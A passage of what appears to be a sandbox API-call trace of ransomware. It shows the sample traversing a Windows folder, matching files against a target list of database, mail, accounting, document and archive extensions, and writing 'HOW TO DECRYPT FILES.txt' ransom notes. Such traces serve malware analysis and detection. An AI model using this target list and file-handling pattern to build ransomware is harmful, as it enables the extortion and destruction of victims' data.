pszSpec="*.dwg") returned 0 [0111.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0111.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0111.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0111.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0111.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0111.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0111.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0111.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0111.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0111.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0111.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0111.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0111.164] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37240b30, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x37240b30, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x37240b30, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x15400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0111.164] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.164] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60addc80, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x60addc80, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x60addc80, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="d5a8069f7b83142864053c90838e7a96", cAlternateFileName="D5A806~1")) returned 1 [0111.192] lstrcmpA (lpString1=".", lpString2="d5a8069f7b83142864053c90838e7a96") returned -1 [0111.192] lstrcmpA (lpString1="..", lpString2="d5a8069f7b83142864053c90838e7a96") returned -1 [0111.193] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0111.193] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="d5a8069f7b83142864053c90838e7a96" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96" [0111.198] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60addc80, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x60addc80, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x60addc80, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.201] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.201] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60addc80, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x60addc80, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x60addc80, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.201] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.201] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.201] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60a45700, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x60a45700, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x60a6b860, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0111.201] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.201] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll") returned -1 [0111.201] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll") returned -1 [0111.201] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll") returned -1 [0111.201] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\*.*") returned="*.*" [0111.201] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\" [0111.201] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\") returned="" [0111.201] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\HOW TO DECRYPT FILES.txt" [0111.201] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\d5a8069f7b83142864053c90838e7a96\\how to decrypt files.txt")) returned 0xffffffff [0111.202] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\d5a8069f7b83142864053c90838e7a96\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.210] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.211] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.212] CloseHandle (hObject=0x90) returned 1 [0111.212] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll" [0111.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0111.212] lstrlenA (lpString="*.ems") returned 5 [0111.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.db") returned 0 [0111.212] lstrlenA (lpString="*.db") returned 4 [0111.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0111.212] lstrlenA (lpString="*.dbf") returned 5 [0111.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0111.212] lstrlenA (lpString="*.myox") returned 6 [0111.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0111.212] lstrlenA (lpString="*.myo") returned 5 [0111.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0111.212] lstrlenA (lpString="*.qbw") returned 5 [0111.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0111.212] lstrlenA (lpString="*.qbb") returned 5 [0111.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0111.213] lstrlenA (lpString="*.qbm") returned 5 [0111.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0111.213] lstrlenA (lpString="*.qbo") returned 5 [0111.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0111.213] lstrlenA (lpString="*.qbx") returned 5 [0111.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0111.213] lstrlenA (lpString="*.qba") returned 5 [0111.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0111.213] lstrlenA (lpString="*.qby") returned 5 [0111.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0111.213] lstrlenA (lpString="*.qbj") returned 5 [0111.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0111.213] lstrlenA (lpString="*.ofx") returned 5 [0111.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0111.213] lstrlenA (lpString="*.qif") returned 5 [0111.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0111.213] lstrlenA (lpString="*.mye") returned 5 [0111.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0111.213] lstrlenA (lpString="*.mbox") returned 6 [0111.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0111.213] lstrlenA (lpString="*.eml") returned 5 [0111.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0111.214] lstrlenA (lpString="*.pst") returned 5 [0111.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0111.214] lstrlenA (lpString="*.ost") returned 5 [0111.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0111.214] lstrlenA (lpString="*.idx") returned 5 [0111.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0111.214] lstrlenA (lpString="*.dbx") returned 5 [0111.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0111.214] lstrlenA (lpString="*.sql") returned 5 [0111.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0111.214] lstrlenA (lpString="*.mdb") returned 5 [0111.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0111.214] lstrlenA (lpString="*.fdb") returned 5 [0111.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0111.214] lstrlenA (lpString="*.wab") returned 5 [0111.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0111.214] lstrlenA (lpString="*.dat") returned 5 [0111.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0111.214] lstrlenA (lpString="*.txt") returned 5 [0111.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0111.214] lstrlenA (lpString="*.jpeg") returned 6 [0111.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0111.214] lstrlenA (lpString="*.jpg") returned 5 [0111.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.png") returned 0 [0111.215] lstrlenA (lpString="*.png") returned 5 [0111.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.php") returned 0 [0111.215] lstrlenA (lpString="*.php") returned 5 [0111.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0111.215] lstrlenA (lpString="*.cs") returned 4 [0111.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0111.215] lstrlenA (lpString="*.cpp") returned 5 [0111.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0111.215] lstrlenA (lpString="*.rar") returned 5 [0111.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0111.215] lstrlenA (lpString="*.zip") returned 5 [0111.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.html") returned 0 [0111.215] lstrlenA (lpString="*.html") returned 6 [0111.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0111.215] lstrlenA (lpString="*.htm") returned 5 [0111.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0111.215] lstrlenA (lpString="*.xlsx") returned 6 [0111.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0111.215] lstrlenA (lpString="*.xls") returned 5 [0111.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0111.215] lstrlenA (lpString="*.mp4") returned 5 [0111.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0111.216] lstrlenA (lpString="*.ppt") returned 5 [0111.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0111.216] lstrlenA (lpString="*.pptx") returned 6 [0111.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0111.216] lstrlenA (lpString="*.doc") returned 5 [0111.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0111.216] lstrlenA (lpString="*.dot") returned 5 [0111.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0111.216] lstrlenA (lpString="*.docx") returned 6 [0111.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0111.216] lstrlenA (lpString="*.7z") returned 4 [0111.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0111.216] lstrlenA (lpString="*.tar") returned 5 [0111.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0111.216] lstrlenA (lpString="*.bz2") returned 5 [0111.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0111.216] lstrlenA (lpString="*.gz") returned 4 [0111.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0111.216] lstrlenA (lpString="*.mkv") returned 5 [0111.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\d5a8069f7b83142864053c90838e7a96\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0111.217] lstrlenA (lpString="*.eml") returned 5 [0111.217] PathMatchSpecA 